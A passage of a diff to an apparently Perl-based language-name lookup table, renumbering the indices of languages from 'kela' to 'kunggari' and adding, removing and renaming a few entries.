-      q(3264),
+      q(3266),
       q(0),
       ],
    q(kela (democratic republic of congo)) => [
-      q(3265),
+      q(3267),
       q(0),
       ],
    q(kela (papua new guinea)) => [
-      q(3217),
+      q(3219),
       q(0),
       ],
    q(kelabit) => [
@@ -37165,11 +37199,11 @@
       q(0),
       ],
    q(kele) => [
-      q(3255),
+      q(3257),
       q(0),
       ],
    q(kele (democratic republic of congo)) => [
-      q(3349),
+      q(3350),
       q(0),
       ],
    q(kele (papua new guinea)) => [
@@ -37177,19 +37211,19 @@
       q(0),
       ],
    q(kelengazxo bozo) => [
-      q(1634),
+      q(1635),
       q(0),
       ],
    q(keley-i kallahan) => [
-      q(2913),
+      q(2916),
       q(0),
       ],
    q(keliko) => [
-      q(3194),
+      q(3196),
       q(0),
       ],
    q(kelo) => [
-      q(7315),
+      q(7318),
       q(0),
       ],
    q(kelon) => [
@@ -37197,51 +37231,51 @@
       q(0),
       ],
    q(kemak) => [
-      q(3266),
+      q(3268),
       q(0),
       ],
    q(kembayan) => [
-      q(7316),
+      q(7319),
       q(0),
       ],
    q(kemberano) => [
-      q(1626),
+      q(1627),
       q(0),
       ],
    q(kembra) => [
-      q(7372),
+      q(7375),
       q(0),
       ],
    q(kemedzung) => [
-      q(2084),
+      q(2085),
       q(0),
       ],
    q(kemi sami) => [
-      q(6050),
+      q(6051),
       q(0),
       ],
    q(kemiehua) => [
-      q(3289),
+      q(3291),
       q(0),
       ],
    q(kemtuik) => [
-      q(3469),
+      q(3470),
       q(0),
       ],
    q(kenaboi) => [
-      q(7286),
+      q(7288),
       q(0),
       ],
    q(kenati) => [
-      q(2413),
+      q(2414),
       q(0),
       ],
    q(kendayan) => [
-      q(3498),
+      q(3499),
       q(0),
       ],
    q(kendeje) => [
-      q(3430),
+      q(3431),
       q(0),
       ],
    q(kendem) => [
@@ -37257,23 +37291,23 @@
       q(0),
       ],
    q(keninjal) => [
-      q(3486),
+      q(3487),
       q(0),
       ],
    q(kensiu) => [
-      q(3493),
+      q(3494),
       q(0),
       ],
    q(kenswei nsei) => [
-      q(4776),
+      q(4778),
       q(0),
       ],
    q(kenyan sign language) => [
-      q(7359),
+      q(7362),
       q(0),
       ],
    q(kenyang) => [
-      q(3267),
+      q(3269),
       q(0),
       ],
    q(kenyi) => [
@@ -37281,15 +37315,15 @@
       q(0),
       ],
    q(kenzi) => [
-      q(7427),
+      q(7430),
       q(0),
       ],
    q(keoru-ahia) => [
-      q(7321),
+      q(7324),
       q(0),
       ],
    q(kepkiriwat) => [
-      q(3531),
+      q(3532),
       q(0),
       ],
    q(kepo') => [
@@ -37297,23 +37331,23 @@
       q(0),
       ],
    q(kera) => [
-      q(3271),
+      q(3273),
       q(0),
       ],
    q(kerak) => [
-      q(2746),
+      q(2748),
       q(0),
       ],
    q(kereho) => [
-      q(7356),
+      q(7359),
       q(0),
       ],
    q(kerek) => [
-      q(3577),
+      q(3578),
       q(0),
       ],
    q(kerewe) => [
-      q(3257),
+      q(3259),
       q(0),
       ],
    q(kerewo) => [
@@ -37325,23 +37359,23 @@
       q(0),
       ],
    q(kesawai) => [
-      q(7319),
+      q(7322),
       q(0),
       ],
    q(ket) => [
-      q(3273),
+      q(3275),
       q(0),
       ],
    q(ketangalan) => [
-      q(3169),
+      q(3171),
       q(0),
       ],
    q(kete) => [
-      q(3227),
+      q(3229),
       q(0),
       ],
    q(ketengban) => [
-      q(7493),
+      q(7496),
       q(0),
       ],
    q(ketum) => [
@@ -37353,31 +37387,31 @@
       q(0),
       ],
    q(kgalagadi) => [
-      q(7371),
+      q(7374),
       q(0),
       ],
    q(khakas) => [
-      q(3381),
+      q(3382),
       q(0),
       ],
    q(khalaj) => [
-      q(3379),
+      q(3380),
       q(0),
       ],
    q(khaling) => [
-      q(3442),
+      q(3443),
       q(0),
       ],
    q(khamba) => [
-      q(3186),
+      q(3188),
       q(0),
       ],
    q(khams tibetan) => [
-      q(3334),
+      q(3335),
       q(0),
       ],
    q(khamti) => [
-      q(3344),
+      q(3345),
       q(0),
       ],
    q(khamyang) => [
@@ -37385,31 +37419,31 @@
       q(0),
       ],
    q(khana) => [
-      q(5203),
+      q(5207),
       q(0),
       ],
    q(khandesi) => [
-      q(3339),
+      q(3340),
       q(0),
       ],
    q(khang) => [
-      q(3386),
+      q(3387),
       q(0),
       ],
    q(khanty) => [
-      q(3206),
+      q(3208),
       q(0),
       ],
    q(khao) => [
-      q(7268),
+      q(7270),
       q(0),
       ],
    q(kharam naga) => [
-      q(3302),
+      q(3304),
       q(0),
       ],
    q(kharia) => [
-      q(3342),
+      q(3343),
       q(0),
       ],
    q(kharia thar) => [
@@ -37417,7 +37451,7 @@
       q(0),
       ],
    q(khasi) => [
-      q(0220),
+      q(0221),
       q(0),
       ],
    q(khayo) => [
@@ -37425,11 +37459,11 @@
       q(0),
       ],
    q(khazar) => [
-      q(7853),
+      q(7856),
       q(0),
       ],
    q(khe) => [
-      q(3549),
+      q(3550),
       q(0),
       ],
    q(khehek) => [
@@ -37437,23 +37471,23 @@
       q(0),
       ],
    q(khengkha) => [
-      q(7357),
+      q(7360),
       q(0),
       ],
    q(khetrani) => [
-      q(7337),
+      q(7340),
       q(0),
       ],
    q(khezha naga) => [
-      q(4920),
+      q(4922),
       q(0),
       ],
    q(khiamniungan naga) => [
-      q(3371),
+      q(3372),
       q(0),
       ],
    q(khinalugh) => [
-      q(3383),
+      q(3384),
       q(0),
       ],
    q(khirwar) => [
@@ -37461,7 +37495,7 @@
       q(0),
       ],
    q(khisa) => [
-      q(3555),
+      q(3556),
       q(0),
       ],
    q(khlor) => [
@@ -37469,27 +37503,27 @@
       q(0),
       ],
    q(khlula) => [
-      q(7650),
+      q(7653),
       q(0),
       ],
    q(khmu) => [
-      q(3380),
+      q(3381),
       q(0),
       ],
    q(kho'ini) => [
-      q(7354),
+      q(7357),
       q(0),
       ],
    q(khoekhoe) => [
-      q(4723),
+      q(4724),
       q(0),
       ],
    q(khoibu naga) => [
-      q(4914),
+      q(4916),
       q(0),
       ],
    q(khoisan languages) => [
-      q(0221),
+      q(0222),
       q(0),
       ],
    q(kholok) => [
@@ -37501,63 +37535,71 @@
       q(1),
       ],
    q(khorasani turkish) => [
-      q(3475),
+      q(3476),
       q(0),
       ],
    q(khorezmian) => [
-      q(7844),
+      q(7847),
       q(0),
       ],
    q(khotanese) => [
-      q(0223),
+      q(0224),
       q(0),
       ],
    q(khowar) => [
-      q(3347),
+      q(3348),
       q(0),
       ],
    q(khua) => [
-      q(7341),
+      q(7344),
       q(0),
       ],
    q(khuen) => [
-      q(3333),
+      q(3334),
       q(0),
       ],
    q(khumi chin) => [
-      q(1797),
+      q(1798),
       q(0),
       ],
    q(khun) => [
-      q(3406),
+      q(3407),
       q(0),
       ],
    q(khunsari) => [
-      q(3292),
+      q(3294),
       q(0),
       ],
    q(khvarshi) => [
-      q(3346),
+      q(3347),
       q(0),
       ],
+   q(khwedam) => [
+      q(7527),
+      q(1),
+      ],
+   q(kibala) => [
+      q(1298),
+      q(0),
+      ],
    q(kibet) => [
-      q(3355),
+      q(3356),
       q(0),
       ],
    q(kibiri) => [
-      q(5587),
+      q(5590),
       q(0),
       ],
    q(kickapoo) => [
-      q(3353),
+      q(3354),
       q(0),
       ],
    q(kiembu) => [
-      q(2212),
+      q(2213),
       q(1),
       ],
    q(kigiryama) => [
-      q(5151),
+      q(5155),
       q(1),
       ],
    q(kikai) => [
@@ -37565,51 +37607,51 @@
       q(0),
       ],
    q(kikuyu) => [
-      q(0224),
+      q(0225),
       q(0),
       ],
    q(kildin sami) => [
-      q(6047),
+      q(6048),
       q(0),
       ],
    q(kilivila) => [
-      q(3360),
+      q(3361),
       q(0),
       ],
    q(kiliwa) => [
-      q(3426),
+      q(3427),
       q(0),
       ],
    q(kilmeri) => [
-      q(3358),
+      q(3359),
       q(0),
       ],
    q(kim) => [
-      q(3351),
+      q(3352),
       q(0),
       ],
    q(kim mun) => [
-      q(4318),
+      q(4319),
       q(0),
       ],
    q(kimaama) => [
-      q(3357),
+      q(3358),
       q(0),
       ],
    q(kimaghima) => [
-      q(3357),
+      q(3358),
       q(1),
       ],
    q(kimaragang) => [
-      q(3560),
+      q(3561),
       q(0),
       ],
    q(kimbu) => [
-      q(3369),
+      q(3370),
       q(0),
       ],
    q(kimbundu) => [
-      q(0227),
+      q(0228),
       q(0),
       ],
    q(kimki) => [
@@ -37617,43 +37659,43 @@
       q(0),
       ],
    q(kimre) => [
-      q(3558),
+      q(3559),
       q(0),
       ],
    q(kinabalian) => [
-      q(1674),
+      q(1675),
       q(0),
       ],
    q(kinalakna) => [
-      q(3220),
+      q(3222),
       q(0),
       ],
    q(kinamiging manobo) => [
-      q(4357),
+      q(4358),
       q(0),
       ],
    q(kinaray-a) => [
-      q(3576),
+      q(3577),
       q(0),
       ],
    q(kinga) => [
-      q(7821),
+      q(7824),
       q(0),
       ],
    q(kinnauri) => [
-      q(3290),
+      q(3292),
       q(0),
       ],
    q(kintaq) => [
-      q(3491),
+      q(3492),
       q(0),
       ],
    q(kinuku) => [
-      q(3402),
+      q(3403),
       q(0),
       ],
    q(kinyarwanda) => [
-      q(0225),
+      q(0226),
       q(0),
       ],
    q(kioko) => [
@@ -37661,27 +37703,27 @@
       q(0),
       ],
    q(kiong) => [
-      q(3411),
+      q(3412),
       q(0),
       ],
    q(kiorr) => [
-      q(7364),
+      q(7367),
       q(0),
       ],
    q(kiowa) => [
-      q(3363),
+      q(3364),
       q(0),
       ],
    q(kiowa apache) => [
-      q(0843),
+      q(0844),
       q(0),
       ],
    q(kipfokomo) => [
-      q(5468),
+      q(5472),
       q(1),
       ],
    q(kipsigis) => [
-      q(5982),
+      q(5983),
       q(0),
       ],
    q(kiput) => [
@@ -37689,47 +37731,47 @@
       q(0),
       ],
    q(kir-balar) => [
-      q(3416),
+      q(3417),
       q(0),
       ],
    q(kirdki) => [
-      q(0486),
+      q(0487),
       q(3),
       ],
    q(kire) => [
-      q(2471),
+      q(2472),
       q(0),
       ],
    q(kirghiz) => [
-      q(0226),
+      q(0227),
       q(0),
       ],
    q(kirike) => [
-      q(5229),
+      q(5233),
       q(0),
       ],
    q(kirikiri) => [
-      q(3372),
+      q(3373),
       q(0),
       ],
    q(kirmanjki) => [
-      q(0486),
+      q(0487),
       q(4),
       ],
    q(kirmanjki (individual language)) => [
-      q(3368),
+      q(3369),
       q(0),
       ],
    q(kirmanjki (macrolanguage)) => [
-      q(0486),
+      q(0487),
       q(7),
       ],
    q(kirya-konzel) => [
-      q(2347),
+      q(2348),
       q(0),
       ],
    q(kis) => [
-      q(3366),
+      q(3367),
       q(0),
       ],
    q(kisa) => [
@@ -37737,35 +37779,35 @@
       q(0),
       ],
    q(kisan) => [
-      q(7347),
+      q(7350),
       q(0),
       ],
    q(kisankasa) => [
-      q(3550),
+      q(3551),
       q(0),
       ],
    q(kisar) => [
-      q(3378),
+      q(3379),
       q(0),
       ],
    q(kisi) => [
-      q(3373),
+      q(3374),
       q(0),
       ],
    q(kistane) => [
-      q(2622),
+      q(2624),
       q(0),
       ],
    q(kiswahili) => [
-      q(6293),
+      q(6292),
       q(1),
       ],
    q(kita maninkakan) => [
-      q(4625),
+      q(4626),
       q(0),
       ],
    q(kitan) => [
-      q(7850),
+      q(7853),
       q(0),
       ],
    q(kitharaka) => [
@@ -37773,15 +37815,15 @@
       q(1),
       ],
    q(kitja) => [
-      q(2509),
+      q(2510),
       q(0),
       ],
    q(kitsai) => [
-      q(3359),
+      q(3360),
       q(0),
       ],
    q(kituba (congo)) => [
-      q(4356),
+      q(4357),
       q(0),
       ],
    q(kituba (democratic republic of congo)) => [
@@ -37789,11 +37831,11 @@
       q(0),
       ],
    q(kiunum) => [
-      q(7090),
+      q(7092),
       q(0),
       ],
    q(kiwilwana) => [
-      q(4368),
+      q(4369),
       q(1),
       ],
    q(kla-dan) => [
@@ -37801,55 +37843,55 @@
       q(0),
       ],
    q(klamath-modoc) => [
-      q(3425),
+      q(3426),
       q(0),
       ],
    q(klao) => [
-      q(3445),
+      q(3446),
       q(0),
       ],
    q(klias river kadazan) => [
-      q(3562),
+      q(3563),
       q(0),
       ],
    q(klingon) => [
-      q(0432),
+      q(0433),
       q(0),
       ],
    q(knaanic) => [
-      q(1927),
+      q(1928),
       q(0),
       ],
    q(ko) => [
-      q(2384),
+      q(2385),
       q(0),
       ],
    q(koalib) => [
-      q(3352),
+      q(3353),
       q(0),
       ],
    q(koasati) => [
-      q(1760),
+      q(1761),
       q(0),
       ],
    q(koba) => [
-      q(3522),
+      q(3523),
       q(0),
       ],
    q(kobiana) => [
-      q(3215),
+      q(3217),
       q(0),
       ],
    q(kobol) => [
-      q(3324),
+      q(3325),
       q(0),
       ],
    q(kobon) => [
-      q(3539),
+      q(3540),
       q(0),
       ],
    q(koch) => [
-      q(3246),
+      q(3248),
       q(0),
       ],
    q(kochila tharu) => [
@@ -37857,7 +37899,7 @@
       q(0),
       ],
    q(koda) => [
-      q(1701),
+      q(1702),
       q(0),
       ],
    q(kodaku) => [
@@ -37865,15 +37907,15 @@
       q(0),
       ],
    q(kodava) => [
-      q(3280),
+      q(3282),
       q(0),
       ],
    q(kodeoha) => [
-      q(6996),
+      q(6997),
       q(0),
       ],
    q(kodi) => [
-      q(3503),
+      q(3504),
       q(0),
       ],
    q(kodia) => [
@@ -37881,7 +37923,7 @@
       q(0),
       ],
    q(koenoem) => [
-      q(3224),
+      q(3226),
       q(0),
       ],
    q(kofa) => [
@@ -37889,7 +37931,7 @@
       q(0),
       ],
    q(kofei) => [
-      q(3526),
+      q(3527),
       q(0),
       ],
    q(kofyar) => [
@@ -37897,43 +37939,43 @@
       q(0),
       ],
    q(kogi) => [
-      q(3506),
+      q(3507),
       q(1),
       ],
    q(koguryo) => [
-      q(7843),
+      q(7846),
       q(0),
       ],
    q(kohin) => [
-      q(3422),
+      q(3423),
       q(0),
       ],
    q(kohistani shina) => [
-      q(5487),
+      q(5491),
       q(0),
       ],
    q(koho) => [
-      q(3530),
+      q(3531),
       q(0),
       ],
    q(kohumono) => [
-      q(1082),
+      q(1083),
       q(0),
       ],
    q(koi) => [
-      q(3418),
+      q(3419),
       q(0),
       ],
    q(koibal) => [
-      q(7841),
+      q(7844),
       q(0),
       ],
    q(koireng) => [
-      q(4916),
+      q(4918),
       q(0),
       ],
    q(koitabu) => [
-      q(3551),
+      q(3552),
       q(0),
       ],
    q(koiwat) => [
@@ -37945,7 +37987,7 @@
       q(0),
       ],
    q(kok-nar) => [
-      q(2536),
+      q(2538),
       q(0),
       ],
    q(kokata) => [
@@ -37953,19 +37995,19 @@
       q(0),
       ],
    q(koke) => [
-      q(3514),
+      q(3515),
       q(0),
       ],
    q(koki naga) => [
-      q(5138),
+      q(5142),
       q(0),
       ],
    q(koko babangk) => [
-      q(5220),
+      q(5224),
       q(0),
       ],
    q(kokoda) => [
-      q(7429),
+      q(7432),
       q(0),
       ],
    q(kokola) => [
@@ -37973,23 +38015,23 @@
       q(0),
       ],
    q(kokota) => [
-      q(3409),
+      q(3410),
       q(0),
       ],
    q(kol) => [
-      q(2232),
+      q(2233),
       q(1),
       ],
    q(kol (bangladesh)) => [
-      q(2232),
+      q(2233),
       q(0),
       ],
    q(kol (cameroon)) => [
-      q(1226),
+      q(1227),
       q(0),
       ],
    q(kol (papua new guinea)) => [
-      q(3509),
+      q(3510),
       q(0),
       ],
    q(kola) => [
@@ -37997,7 +38039,7 @@
       q(0),
       ],
    q(kolbila) => [
-      q(3427),
+      q(3428),
       q(0),
       ],
    q(kolibugan subanon) => [
@@ -38009,23 +38051,23 @@
       q(0),
       ],
    q(koluwawa) => [
-      q(3448),
+      q(3449),
       q(0),
       ],
    q(kom (cameroon)) => [
-      q(1264),
+      q(1265),
       q(0),
       ],
    q(kom (india)) => [
-      q(3462),
+      q(3463),
       q(0),
       ],
    q(koma) => [
-      q(3474),
+      q(3475),
       q(0),
       ],
    q(komba) => [
-      q(3523),
+      q(3524),
       q(0),
       ],
    q(kombai) => [
@@ -38033,35 +38075,35 @@
       q(0),
       ],
    q(kombio) => [
-      q(7283),
+      q(7285),
       q(0),
       ],
    q(komering) => [
-      q(3309),
+      q(3310),
       q(0),
       ],
    q(komi) => [
-      q(0229),
+      q(0230),
       q(0),
       ],
    q(komi-permyak) => [
-      q(3508),
+      q(3509),
       q(0),
       ],
    q(komi-zyrian) => [
-      q(3538),
+      q(3539),
       q(0),
       ],
    q(kominimung) => [
-      q(7431),
+      q(7434),
       q(0),
       ],
    q(komo (democratic republic of congo)) => [
-      q(3472),
+      q(3473),
       q(0),
       ],
    q(komo (sudan)) => [
-      q(7433),
+      q(7436),
       q(0),
       ],
    q(komodo) => [
@@ -38077,11 +38119,11 @@
       q(0),
       ],
    q(kon keu) => [
-      q(3412),
+      q(3413),
       q(0),
       ],
    q(konabere) => [
-      q(1052),
+      q(1053),
       q(1),
       ],
    q(konai) => [
@@ -38089,59 +38131,59 @@
       q(0),
       ],
    q(konda) => [
-      q(3479),
+      q(3480),
       q(0),
       ],
    q(konda-dora) => [
-      q(3282),
+      q(3284),
       q(0),
       ],
    q(koneraw) => [
-      q(3250),
+      q(3252),
       q(0),
       ],
    q(kongo) => [
-      q(0230),
+      q(0231),
       q(0),
       ],
    q(konkani) => [
-      q(0228),
+      q(0229),
       q(0),
       ],
    q(konkani (individual language)) => [
-      q(3488),
+      q(3489),
       q(0),
       ],
    q(konkani (macrolanguage)) => [
-      q(0228),
+      q(0229),
       q(1),
       ],
    q(konkomba) => [
-      q(7434),
+      q(7437),
       q(0),
       ],
    q(konni) => [
-      q(3451),
+      q(3452),
       q(0),
       ],
    q(kono (guinea)) => [
-      q(3495),
+      q(3496),
       q(0),
       ],
    q(kono (nigeria)) => [
-      q(3435),
+      q(3436),
       q(0),
       ],
    q(kono (sierra leone)) => [
-      q(3489),
+      q(3490),
       q(0),
       ],
    q(konomala) => [
-      q(3501),
+      q(3502),
       q(0),
       ],
    q(konongo) => [
-      q(3231),
+      q(3233),
       q(0),
       ],
    q(konso) => [
@@ -38149,59 +38191,59 @@
       q(0),
       ],
    q(konyak naga) => [
-      q(4735),
+      q(4736),
       q(0),
       ],
    q(konyanka maninka) => [
-      q(4354),
+      q(4355),
       q(0),
       ],
    q(konzo) => [
-      q(3510),
+      q(3511),
       q(0),
       ],
    q(koongo) => [
-      q(3482),
+      q(3483),
       q(0),
       ],
    q(koonzime) => [
-      q(5337),
+      q(5341),
       q(0),
       ],
    q(koorete) => [
-      q(3567),
+      q(3568),
       q(0),
       ],
    q(kopar) => [
-      q(7436),
+      q(7439),
       q(0),
       ],
    q(kopkaka) => [
-      q(5280),
+      q(5284),
       q(0),
       ],
    q(korafe-yegha) => [
-      q(3534),
+      q(3535),
       q(0),
       ],
    q(korak) => [
-      q(3518),
+      q(3519),
       q(0),
       ],
    q(korana) => [
-      q(3568),
+      q(3569),
       q(0),
       ],
    q(korandje) => [
-      q(3230),
+      q(3232),
       q(0),
       ],
    q(kordofanian languages) => [
-      q(0515),
+      q(0516),
       q(0),
       ],
    q(korean) => [
-      q(0231),
+      q(0232),
       q(0),
       ],
    q(korean sign language) => [
@@ -38209,27 +38251,27 @@
       q(0),
       ],
    q(koreguaje) => [
-      q(1809),
+      q(1810),
       q(0),
       ],
    q(koresh-e rostam) => [
-      q(5221),
+      q(5225),
       q(0),
       ],
    q(korku) => [
-      q(3296),
+      q(3298),
       q(0),
       ],
    q(korlai creole portuguese) => [
-      q(6997),
+      q(6998),
       q(0),
       ],
    q(koro (cote d'ivoire)) => [
-      q(3294),
+      q(3296),
       q(0),
       ],
    q(koro (india)) => [
-      q(3109),
+      q(3111),
       q(0),
       ],
    q(koro (papua new guinea)) => [
@@ -38237,27 +38279,27 @@
       q(0),
       ],
    q(koro (vanuatu)) => [
-      q(3573),
+      q(3574),
       q(0),
       ],
    q(koro wachi) => [
-      q(1417),
+      q(1418),
       q(0),
       ],
    q(koromfe) => [
-      q(3305),
+      q(3307),
       q(0),
       ],
    q(koromira) => [
-      q(3552),
+      q(3553),
       q(0),
       ],
    q(koronadal blaan) => [
-      q(1388),
+      q(1389),
       q(0),
       ],
    q(koroni) => [
-      q(7366),
+      q(7369),
       q(0),
       ],
    q(korop) => [
@@ -38265,7 +38307,7 @@
       q(0),
       ],
    q(koropo) => [
-      q(7545),
+      q(7548),
       q(0),
       ],
    q(koroshi) => [
@@ -38273,43 +38315,43 @@
       q(0),
       ],
    q(korowai) => [
-      q(3332),
+      q(3333),
       q(0),
       ],
    q(korra koraga) => [
-      q(3283),
+      q(3285),
       q(0),
       ],
    q(korubo) => [
-      q(7437),
+      q(7440),
       q(0),
       ],
    q(korupun-sela) => [
-      q(3533),
+      q(3534),
       q(0),
       ],
    q(korur) => [
-      q(0947),
+      q(0948),
       q(1),
       ],
    q(korwa) => [
-      q(3295),
+      q(3297),
       q(0),
       ],
    q(koryak) => [
-      q(3541),
+      q(3542),
       q(0),
       ],
    q(kosadle) => [
-      q(3365),
+      q(3366),
       q(0),
       ],
    q(kosare) => [
-      q(3365),
+      q(3366),
       q(1),
       ],
    q(kosarek yale) => [
-      q(3410),
+      q(3411),
       q(0),
       ],
    q(kosena) => [
@@ -38317,47 +38359,47 @@
       q(0),
       ],
    q(koshin) => [
-      q(3354),
+      q(3355),
       q(0),
       ],
    q(kosli) => [
-      q(6185),
+      q(6184),
       q(1),
       ],
    q(kosraean) => [
-      q(0232),
+      q(0233),
       q(0),
       ],
    q(kota (gabon)) => [
-      q(3512),
+      q(3513),
       q(0),
       ],
    q(kota (india)) => [
-      q(3284),
+      q(3286),
       q(0),
       ],
    q(kota bangun kutai malay) => [
-      q(4478),
+      q(4479),
       q(0),
       ],
    q(kota marudu talantang) => [
-      q(2616),
+      q(2618),
       q(0),
       ],
    q(kotafon gbe) => [
-      q(3553),
+      q(3554),
       q(0),
       ],
    q(kotava) => [
-      q(0958),
+      q(0959),
       q(0),
       ],
    q(koti) => [
-      q(2234),
+      q(2235),
       q(0),
       ],
    q(kott) => [
-      q(7847),
+      q(7850),
       q(0),
       ],
    q(kouya) => [
@@ -38365,7 +38407,7 @@
       q(0),
       ],
    q(kovai) => [
-      q(3544),
+      q(3545),
       q(0),
       ],
    q(kove) => [
@@ -38373,7 +38415,7 @@
       q(0),
       ],
    q(kowaki) => [
-      q(7438),
+      q(7441),
       q(0),
       ],
    q(kowiai) => [
@@ -38381,31 +38423,31 @@
       q(0),
       ],
    q(koy sanjaq surat) => [
-      q(3546),
+      q(3547),
       q(0),
       ],
    q(koya) => [
-      q(3285),
+      q(3287),
       q(0),
       ],
    q(koyaga) => [
-      q(3306),
+      q(3308),
       q(0),
       ],
    q(koyo) => [
-      q(3507),
+      q(3508),
       q(0),
       ],
    q(koyra chiini songhay) => [
-      q(3341),
+      q(3342),
       q(0),
       ],
    q(koyraboro senni songhai) => [
-      q(5969),
+      q(5970),
       q(0),
       ],
    q(koyukon) => [
-      q(3517),
+      q(3518),
       q(0),
       ],
    q(kpagua) => [
@@ -38413,19 +38455,19 @@
       q(0),
       ],
    q(kpala) => [
-      q(3529),
+      q(3530),
       q(0),
       ],
    q(kpan) => [
-      q(3528),
+      q(3529),
       q(0),
       ],
    q(kpasam) => [
-      q(5364),
+      q(5368),
       q(0),
       ],
    q(kpati) => [
-      q(3502),
+      q(3503),
       q(0),
       ],
    q(kpatili) => [
@@ -38433,19 +38475,19 @@
       q(0),
       ],
    q(kpeego) => [
-      q(1832),
+      q(1833),
       q(0),
       ],
    q(kpelle) => [
-      q(0233),
+      q(0234),
       q(0),
       ],
    q(kpessi) => [
-      q(3259),
+      q(3261),
       q(0),
       ],
    q(kplang) => [
-      q(3525),
+      q(3526),
       q(0),
       ],
    q(krache) => [
@@ -38453,39 +38495,39 @@
       q(0),
       ],
    q(kraho) => [
-      q(7458),
+      q(7461),
       q(0),
       ],
    q(kraol) => [
-      q(5787),
+      q(5788),
       q(0),
       ],
    q(krenak) => [
-      q(3559),
+      q(3560),
       q(0),
       ],
    q(krevinian) => [
-      q(7852),
+      q(7855),
       q(0),
       ],
    q(kreye) => [
-      q(7461),
+      q(7464),
       q(0),
       ],
-   q(krikati-timbira) => [
-      q(7463),
+   q(kriang) => [
+      q(4846),
       q(0),
       ],
-   q(krim) => [
-      q(3578),
+   q(krikati-timbira) => [
+      q(7466),
       q(0),
       ],
    q(krio) => [
-      q(3575),
+      q(3576),
       q(0),
       ],
    q(kriol) => [
-      q(5833),
+      q(5834),
       q(0),
       ],
    q(krisa) => [
@@ -38497,19 +38539,19 @@
       q(0),
       ],
    q(krongo) => [
-      q(3318),
+      q(3319),
       q(0),
       ],
    q(kru languages) => [
-      q(0236),
+      q(0237),
       q(0),
       ],
-   q(kru'ng 2) => [
+   q(krung) => [
       q(3581),
       q(0),
       ],
    q(krymchak) => [
-      q(3066),
+      q(3069),
       q(0),
       ],
    q(kryts) => [
@@ -38521,11 +38563,11 @@
       q(0),
       ],
    q(kua-nsi) => [
-      q(7652),
+      q(7655),
       q(0),
       ],
    q(kuamasi) => [
-      q(7656),
+      q(7659),
       q(0),
       ],
    q(kuan) => [
@@ -38533,7 +38575,7 @@
       q(0),
       ],
    q(kuanhua) => [
-      q(7417),
+      q(7420),
       q(0),
       ],
    q(kuanua) => [
@@ -38541,19 +38583,19 @@
       q(0),
       ],
    q(kuanyama) => [
-      q(0238),
+      q(0239),
       q(0),
       ],
    q(kube) => [
-      q(3310),
+      q(3311),
       q(0),
       ],
    q(kubi) => [
-      q(3505),
+      q(3506),
       q(0),
       ],
    q(kubo) => [
-      q(3107),
+      q(3109),
       q(0),
       ],
    q(kubu) => [
@@ -38565,7 +38607,7 @@
       q(0),
       ],
    q(kudiya) => [
-      q(3286),
+      q(3288),
       q(0),
       ],
    q(kudmali) => [
@@ -38573,15 +38615,15 @@
       q(0),
       ],
    q(kudu-camo) => [
-      q(3515),
+      q(3516),
       q(0),
       ],
    q(kugama) => [
-      q(3516),
+      q(3517),
       q(0),
       ],
    q(kugbo) => [
-      q(3272),
+      q(3274),
       q(0),
       ],
    q(kui (india)) => [
@@ -38593,7 +38635,7 @@
       q(0),
       ],
    q(kuijau) => [
-      q(2068),
+      q(2069),
       q(0),
       ],
    q(kuikuro-kalapalo) => [
@@ -38601,11 +38643,11 @@
       q(0),
       ],
    q(kujarge) => [
-      q(6992),
+      q(6993),
       q(0),
       ],
    q(kuk) => [
-      q(3293),
+      q(3295),
       q(0),
       ],
    q(kukatja) => [
@@ -38613,27 +38655,27 @@
       q(0),
       ],
    q(kuke) => [
-      q(2508),
+      q(2509),
       q(0),
       ],
    q(kukele) => [
-      q(3279),
+      q(3281),
       q(0),
       ],
    q(kukna) => [
-      q(3277),
+      q(3279),
       q(0),
       ],
    q(kuku-mangk) => [
-      q(7404),
+      q(7407),
       q(0),
       ],
    q(kuku-mu'inh) => [
-      q(7403),
+      q(7406),
       q(0),
       ],
    q(kuku-muminh) => [
-      q(7396),
+      q(7399),
       q(0),
       ],
    q(kuku-ugbanh) => [
@@ -38641,11 +38683,11 @@
       q(0),
       ],
    q(kuku-uwanh) => [
-      q(6950),
+      q(6951),
       q(0),
       ],
    q(kuku-yalanji) => [
-      q(2668),
+      q(2670),
       q(0),
       ],
    q(kula) => [
@@ -38661,31 +38703,31 @@
       q(0),
       ],
    q(kulina) => [
-      q(1905),
+      q(1906),
       q(1),
       ],
    q(kulina pano) => [
-      q(7445),
+      q(7448),
       q(0),
       ],
    q(kulisusu) => [
-      q(6994),
+      q(6995),
       q(0),
       ],
    q(kullu pahari) => [
-      q(3303),
+      q(3305),
       q(0),
       ],
    q(kulon-pazeh) => [
-      q(6944),
+      q(6945),
       q(0),
       ],
    q(kulung (nepal)) => [
-      q(3429),
+      q(3430),
       q(0),
       ],
    q(kulung (nigeria)) => [
-      q(1058),
+      q(1059),
       q(0),
       ],
    q(kumalu) => [
@@ -38693,7 +38735,7 @@
       q(0),
       ],
    q(kumam) => [
-      q(3239),
+      q(3241),
       q(0),
       ],
    q(kuman (papua new guinea)) => [
@@ -38701,15 +38743,15 @@
       q(0),
       ],
    q(kuman (russia)) => [
-      q(5707),
+      q(5709),
       q(0),
       ],
    q(kumaoni) => [
-      q(3304),
+      q(3306),
       q(0),
       ],
    q(kumarbhag paharia) => [
-      q(3459),
+      q(3460),
       q(0),
       ],
    q(kumba) => [
@@ -38717,23 +38759,23 @@
       q(0),
       ],
    q(kumbainggar) => [
-      q(3322),
+      q(3323),
       q(0),
       ],
    q(kumbaran) => [
-      q(7130),
+      q(7132),
       q(0),
       ],
    q(kumbewaha) => [
-      q(7368),
+      q(7371),
       q(0),
       ],
    q(kumhali) => [
-      q(3569),
+      q(3570),
       q(0),
       ],
    q(kumiai) => [
-      q(2034),
+      q(2035),
       q(0),
       ],
    q(kumukio) => [
@@ -38741,11 +38783,11 @@
       q(0),
       ],
    q(kumyk) => [
-      q(0239),
+      q(0240),
       q(0),
       ],
    q(kumzari) => [
-      q(7949),
+      q(7952),
       q(0),
       ],
    q(kunama) => [
@@ -38753,39 +38795,39 @@
       q(0),
       ],
    q(kunbarlang) => [
-      q(7139),
+      q(7141),
       q(0),
       ],
    q(kunda) => [
-      q(3244),
+      q(3246),
       q(0),
       ],
    q(kundal shahi) => [
-      q(6003),
+      q(6004),
       q(0),
       ],
    q(kunduvadi) => [
-      q(7133),
+      q(7135),
       q(0),
       ],
    q(kung) => [
-      q(3291),
+      q(3293),
       q(0),
       ],
    q(kung-ekoka) => [
-      q(3497),
+      q(3498),
       q(0),
       ],
    q(kungarakany) => [
-      q(2493),
+      q(2494),
       q(0),
       ],
    q(kungardutyi) => [
-      q(2467),
+      q(2468),
       q(0),
       ],
    q(kunggari) => [
